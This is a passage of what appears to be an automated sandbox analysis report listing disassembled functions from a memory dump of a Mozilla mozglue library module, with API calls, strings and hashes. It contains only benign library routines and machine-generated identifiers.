ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD52A
GetCurrentThreadId.KERNEL32 ref: 6C5FD530
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD53F
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD55F
free.MOZGLUE(00000000), ref: 6C5FD585
?_Xbad_function_call@std@@YAXXZ.MSVCP140 ref: 6C5FD5D3
GetCurrentThreadId.KERNEL32 ref: 6C5FD5F9
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD605
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD652
GetCurrentThreadId.KERNEL32 ref: 6C5FD658
AcquireSRWLockExclusive.KERNEL32(?), ref: 6C5FD667
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C5FD6A2

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThread$Xbad_function_call@std@@free
String ID:
API String ID: 2206442479-0
Opcode ID: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction ID: bd0a2a167f11c15bff91ecacebe5fd50ffbe98bd5735a06bc675e3bb5e177760
Opcode Fuzzy Hash: 0e539773b435dbde7afbbe333bb4567307dd2dd53ee606a47c3995f2eb245bdc
Instruction Fuzzy Hash: 97516B71604705DFC704DF35C888A9ABBF4FF89358F108A2EE85A87711DB34A94ACB95

Function 6C5A1E90 Relevance: 19.6, APIs: 9, Strings: 4, Instructions: 120COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EC1
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1EE1
EnterCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F38
LeaveCriticalSection.KERNEL32(6C62E744), ref: 6C5A1F5C
VirtualFree.KERNEL32(?,00100000,00004000), ref: 6C5A1F83
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FC0
EnterCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FE2
LeaveCriticalSection.KERNEL32(6C62E784), ref: 6C5A1FF6
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C5A2019

Strings

MOZ_CRASH(), xrefs: 6C5A2000
Dbl, xrefs: 6C5A1F32
Dbl, xrefs: 6C5A1F56
\bl, xrefs: 6C5A1F3E

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$FreeVirtualmemset
String ID: Dbl$Dbl$MOZ_CRASH()$\bl
API String ID: 2055633661-2003662670
Opcode ID: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction ID: 4e0ba75fd7903f07b1a281ca017b0d8d97a2916a52963529a28721669fbcd374
Opcode Fuzzy Hash: 624a4fefef57437f5626c32cda91aa8559df1c7042933f26c4fac25a862c1b57
Instruction Fuzzy Hash: A041C171B003158BDF009FBACC84BAE7AB5FB8A389F010035E94597B40D7799805CBE9

Function 6C5C5670 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 272timeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_APP_RESTART), ref: 6C5C56D1
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C5C56E9
?ComputeProcessUptime@TimeStamp@mozilla@@CA_KXZ.MOZGLUE ref: 6C5C56F1
?TicksFromMilliseconds@BaseTimeDurationPlatformUtils@mozilla@@SA_JN@Z.MOZGLUE ref: 6C5C5744
??0TimeStampValue@mozilla@@AAE@_K0_N@Z.MOZGLUE(?,?,?,?,?), ref: 6C5C57BC
GetTickCount64.KERNEL32 ref: 6C5C58CB
EnterCriticalSection.KERNEL32(6C62F688), ref: 6C5C58F3
__aulldiv.LIBCMT ref: 6C5C5945
LeaveCriticalSection.KERNEL32(6C62F688), ref: 6C5C59B2
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(6C62F638,?,?,?,?), ref: 6C5C59E9

Strings

MOZ_APP_RESTART, xrefs: 6C5C56CC

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Time$CriticalSectionStampStamp@mozilla@@Value@mozilla@@$BaseComputeCount64DurationEnterFromLeaveMilliseconds@Now@PlatformProcessTickTicksUptime@Utils@mozilla@@V01@@V12@___aulldivgetenv
String ID: MOZ_APP_RESTART
API String ID: 2752551254-2657566371
Opcode ID: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction ID: 5d4250336862ad32119328bf52f3b7aa0fa4f5b3f69c3764172ffaa5b9fdd3ff
Opcode Fuzzy Hash: 0fb087a3eccda5efbd4e006a42a2e99e911f5275acfb1365366cc89fe6ea0fbf
Instruction Fuzzy Hash: 60C1AC31A083509FC705CFA9C880A6ABBF1FFDA754F458A1DE8C497620D734A885DB87

Function 6C5EEC70 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 81threadsynchronizationCOMMON

Download Yara Rule

APIs

Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C5B4A68), ref: 6C5E945E
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C5E9470
Part of subcall function 6C5E9420: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C5E9482
Part of subcall function 6C5E9420: __Init_thread_footer.LIBCMT ref: 6C5E949F

GetCurrentThreadId.KERNEL32 ref: 6C5EEC84
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C5EEC8C

Part of subcall function 6C5E94D0: __acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,00000000,00000000), ref: 6C5E94EE
Part of subcall function 6C5E94D0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000000,00000000,00000000,?), ref: 6C5E9508

GetCurrentThreadId.KERNEL32 ref: 6C5EECA1
AcquireSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EECAE
?profiler_init@baseprofiler@mozilla@@YAXPAX@Z.MOZGLUE(00000000), ref: 6C5EECC5
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED0A
WaitForSingleObject.KERNEL32(?,000000FF), ref: 6C5EED19
CloseHandle.KERNEL32(?), ref: 6C5EED28
free.MOZGLUE(00000000), ref: 6C5EED2F
ReleaseSRWLockExclusive.KERNEL32(6C62F4B8), ref: 6C5EED59

Strings

[I %d/%d] profiler_ensure_started, xrefs: 6C5EEC94

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ExclusiveLockgetenv$CurrentReleaseThread$?profiler_init@baseprofiler@mozilla@@AcquireCloseHandleInit_thread_footerObjectSingleWait__acrt_iob_func__stdio_common_vfprintf_getpidfree
String ID: [I %d/%d] profiler_ensure_started
API String ID: 4057186437-125001283
Opcode ID: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction ID: d2a060a07e2413237a826e5a00685c08ade598e3fbeb856d675adc263b216c20
Opcode Fuzzy Hash: 03932673b80914f6dc77a8a821320a9a5a16bda0373f3da6a89e9143662c3add
Instruction Fuzzy Hash: 6F213271600118EBCB008F65DC88AAA3779FFCA36CF104614FC1997741DBB99C068BAA

Function 6C5E8ED0 Relevance: 17.8, APIs: 1, Strings: 9, Instructions: 311COMMON

Download Yara Rule

APIs

Part of subcall function 6C5AEB30: free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C5AEB83

?FormatToStringSpan@MarkerSchema@mozilla@@CA?AV?$Span@$$CBD$0PPPPPPPP@@2@W4Format@12@@Z.MOZGLUE(?,?,00000004,?,?,?,?,?,?,6C5EB392,?,?,00000001), ref: 6C5E91F4

Part of subcall function 6C5DCBE8: GetCurrentProcess.KERNEL32(?,6C5A31A7), ref: 6C5DCBF1
Part of subcall function 6C5DCBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6C5A31A7), ref: 6C5DCBFA

Strings

data, xrefs: 6C5E90E8
marker-table, xrefs: 6C5E906C
timeline-fileio, xrefs: 6C5E90A4
name, xrefs: 6C5E8F16
timeline-ipc, xrefs: 6C5E9096
timeline-memory, xrefs: 6C5E9088
stack-chart, xrefs: 6C5E90B2
marker-chart, xrefs: 6C5E905E
timeline-overview, xrefs: 6C5E907A

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Process$CurrentFormatFormat@12@@MarkerP@@2@Schema@mozilla@@Span@Span@$$StringTerminatefree
String ID: data$marker-chart$marker-table$name$stack-chart$timeline-fileio$timeline-ipc$timeline-memory$timeline-overview
API String ID: 3790164461-3347204862
Opcode ID: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction ID: 361e60b774ad795e8b3c00c882d51a509c8a1154583b516d5c4c9052b10b1b90
Opcode Fuzzy Hash: 66b34a779770cf88fe151751ecec8b07e23c648dee18eb0bca85acedeea74e6d
Instruction Fuzzy Hash: F5B1B0B1A04209DBDB04CF99CCA6BEEBBB6AF88318F104429D401ABF80D7759D45CBD5

Function 6C5CC570 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 277stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C5CC5A3
WideCharToMultiByte.KERNEL32 ref: 6C5CC9EA
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000), ref: 6C5CC9FB
WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,00000000,00000000,00000000,00000000), ref: 6C5CCA12
strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C5CCA2E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C5CCAA5

Strings

0, xrefs: 6C5CD30A
(null), xrefs: 6C5CC596

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: ByteCharMultiWidestrlen$freemalloc
String ID: (null)$0
API String ID: 4074790623-38302674
Opcode ID: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction ID: 238b23af7ec283966682840a5b1c22be70c2c3009ccf85bec683c40507c2adb6
Opcode Fuzzy Hash: 4e55850ca7fe2cc86b11bacc5fb59ae24ba90ea29ec8786a314fd6d938f94a8c
Instruction Fuzzy Hash: A2A19A307083429FDB10DF69C98875ABBE1AF89748F04882DE99AD7741D735E809CB97

Function 6C5A3480 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 86librarytimeloaderCOMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3492
GetProcessTimes.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34A9
LoadLibraryW.KERNEL32(kernel32.dll,?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A34EF
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 6C5A350E
__Init_thread_footer.LIBCMT ref: 6C5A3522
__aulldiv.LIBCMT ref: 6C5A3552
FreeLibrary.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A357C
GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5A3592

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

Strings

GetSystemTimePreciseAsFileTime, xrefs: 6C5A3508
kernel32.dll, xrefs: 6C5A34EA

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalLibraryProcessSectionTime$AddressCurrentEnterFileFreeInit_thread_footerLeaveLoadProcSystemTimes__aulldiv
String ID: GetSystemTimePreciseAsFileTime$kernel32.dll
API String ID: 3634367004-706389432
Opcode ID: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction ID: cbbbbe47fd31ba4fa95100fc93d1585da9a89e9a3c0c38f7cf39bf8eae584c33
Opcode Fuzzy Hash: b227b04fd828dc299030c3ba2133d002182e0b596c575e735fb8332e04328c0c
Instruction Fuzzy Hash: EF319271B002159BDF00DFBACD88EAE77B5FB89305F100419E541936A0DB78E906CF55

Function 6C5A4480 Relevance: 16.8, APIs: 11, Instructions: 316COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(B60B60B8,?,?,?,?,6C5E4843,?), ref: 6C5A45F5
free.MOZGLUE(?,?,?,?,?,?,?,?,6C5E4843,?), ref: 6C5A468A
free.MOZGLUE(?,?,?,?,?,?,6C5E4843,?), ref: 6C5A46C9
free.MOZGLUE(?), ref: 6C5A46EF
free.MOZGLUE(?), ref: 6C5A4712
free.MOZGLUE(?), ref: 6C5A4735
free.MOZGLUE(?), ref: 6C5A4758
free.MOZGLUE(?), ref: 6C5A477B
free.MOZGLUE(?), ref: 6C5A479E

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$moz_xmalloc
String ID:
API String ID: 3009372454-0
Opcode ID: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction ID: b235b85f31c7b100b1b88b28b9a7c123636ee0a92927097124baa914d3a6f86f
Opcode Fuzzy Hash: 956d6b742d20f446c37b415ad19da982a66a72e4f81addcce92daf969ff5cfc8
Instruction Fuzzy Hash: 58B10571A001518FDB18CEFDDC9076D77A2AF86328F184668E416DBB92EB31DC428B91

Function 6C60AC20 Relevance: 16.6, APIs: 11, Instructions: 92fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 6C60AC52
CreateFileMappingW.KERNEL32 ref: 6C60AC7D
GetSystemInfo.KERNEL32 ref: 6C60AC98
MapViewOfFile.KERNEL32 ref: 6C60ACB0
GetSystemInfo.KERNEL32 ref: 6C60ACCD
MapViewOfFile.KERNEL32 ref: 6C60AD05
UnmapViewOfFile.KERNEL32 ref: 6C60AD1C
CloseHandle.KERNEL32 ref: 6C60AD28
UnmapViewOfFile.KERNEL32 ref: 6C60AD37
CloseHandle.KERNEL32 ref: 6C60AD43
CloseHandle.KERNEL32 ref: 6C60AD67

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: File$View$CloseHandle$CreateInfoSystemUnmap$Mapping
String ID:
API String ID: 1192971331-0
Opcode ID: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction ID: bf8bfe9abb2f62120e484287ac4ed580bcf8d47285b516996b0da01be76345cb
Opcode Fuzzy Hash: db92535dc816bf2cc27be4c1a3620d28a1d4facdf7d1cdd889fb3548a7a263bd
Instruction Fuzzy Hash: 563190B1A043048FDB00AF7DD68826EBBF0FF85345F05892DE98697241EB749449CB86

Function 6C5B9620 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 103libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(Api-ms-win-core-memory-l1-1-5.dll), ref: 6C5B9675
__Init_thread_footer.LIBCMT ref: 6C5B9697
LoadLibraryW.KERNEL32(ntdll.dll), ref: 6C5B96E8
GetProcAddress.KERNEL32(00000000,NtMapViewOfSection), ref: 6C5B9707
__Init_thread_footer.LIBCMT ref: 6C5B971F
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9773

Part of subcall function 6C5DAB89: EnterCriticalSection.KERNEL32(6C62E370,?,?,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284), ref: 6C5DAB94
Part of subcall function 6C5DAB89: LeaveCriticalSection.KERNEL32(6C62E370,?,6C5A34DE,6C62F6CC,?,?,?,?,?,?,?,6C5A3284,?,?,6C5C56F6), ref: 6C5DABD1

GetProcAddress.KERNEL32(00000000,MapViewOfFileNuma2), ref: 6C5B97B7
FreeLibrary.KERNEL32 ref: 6C5B97D0
FreeLibrary.KERNEL32 ref: 6C5B97EB
SetLastError.KERNEL32(00000000,?,?,00000002,?,?), ref: 6C5B9824

Strings

Api-ms-win-core-memory-l1-1-5.dll, xrefs: 6C5B9670
MapViewOfFileNuma2, xrefs: 6C5B97B1
NtMapViewOfSection, xrefs: 6C5B9701
ntdll.dll, xrefs: 6C5B96E3

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Library$AddressCriticalErrorFreeInit_thread_footerLastLoadProcSection$EnterLeave
String ID: Api-ms-win-core-memory-l1-1-5.dll$MapViewOfFileNuma2$NtMapViewOfSection$ntdll.dll
API String ID: 409848716-3880535382
Opcode ID: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction ID: 726b85e24ac7c84d8d5ea3b8a1c7dda6cc5fca7ae0cf3e248580861b6cff9084
Opcode Fuzzy Hash: 2fa055d8909f508fd37fc8ed104ceac4e62b06d4ec511a9ceff39ef535b1403e
Instruction Fuzzy Hash: 2641A0756003169BDF00CFA6ECE4A977BB4EB8A354F114128ED55A7740D738E805CFAA

Function 6C5B7E90 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 116stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C5B7EA7
malloc.MOZGLUE(00000001), ref: 6C5B7EB3

Part of subcall function 6C5BCAB0: EnterCriticalSection.KERNEL32(?), ref: 6C5BCB49
Part of subcall function 6C5BCAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C5BCBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C5B7EC4
mozalloc_abort.MOZGLUE(?), ref: 6C5B7F19
malloc.MOZGLUE(?), ref: 6C5B7F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C5B7F4D

Strings

d, xrefs: 6C5B7F89

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction ID: 83313b412103125404552f21bd1eb796919a6c4a3b35b4f62e64ca8bac2aa9cd
Opcode Fuzzy Hash: 675ea6bd66d6b45139d2589f8201d95b6ef2e13bff29204be089a5a19b7ed3bd
Instruction Fuzzy Hash: 06312671E0438897DB019B39CC409FEB778EF96248F055229ED4967612FB34A988C398

Function 6C5B3E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL ref: 6C5B3EEE
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B3FDC
RtlAllocateHeap.NTDLL ref: 6C5B4006
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B40A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C5B3CCC), ref: 6C5B40C2
RtlFreeHeap.NTDLL(?,00000000,?), ref: 6C5B4134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,00000000,00000040,?,?,?,?,?,6C5B3CCC), ref: 6C5B4157

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 638c05664b1b9703153542f3fbf18edb8bb9a733c28869e8d6ff175399c6a648
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 8AA17EB1A00215CFDB50CF68C89065ABBB5FF88318F2545A9D909AF752D771E886CBA0

Function 6C5F9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C5F8273), ref: 6C5F9D65
free.MOZGLUE(6C5F8273,?), ref: 6C5F9D7C
free.MOZGLUE(?,?), ref: 6C5F9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C5F9E0F
free.MOZGLUE(6C5F946B,?,?), ref: 6C5F9E24
free.MOZGLUE(?,?,?), ref: 6C5F9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C5F9EC8
free.MOZGLUE(6C5F946B,?,?,?), ref: 6C5F9EDF
free.MOZGLUE(?,?,?,?), ref: 6C5F9EF5

Memory Dump Source

Source File: 00000000.00000002.1914293841.000000006C5A1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C5A0000, based on PE: true

Associated: 00000000.00000002.1914278097.000000006C5A0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914340067.000000006C61D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914359329.000000006C62E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.1914375477.000000006C632000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c5a0000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
Instruction ID: 14cf36fab5c8c4ff030dd84be57df243b4357bda1339c2fbb0f3b53d882bc4a9
Opcode Fuzzy Hash: 787a0062091700d61be2b65576cfdc054fefc4eac589345f2f7d66a646773795
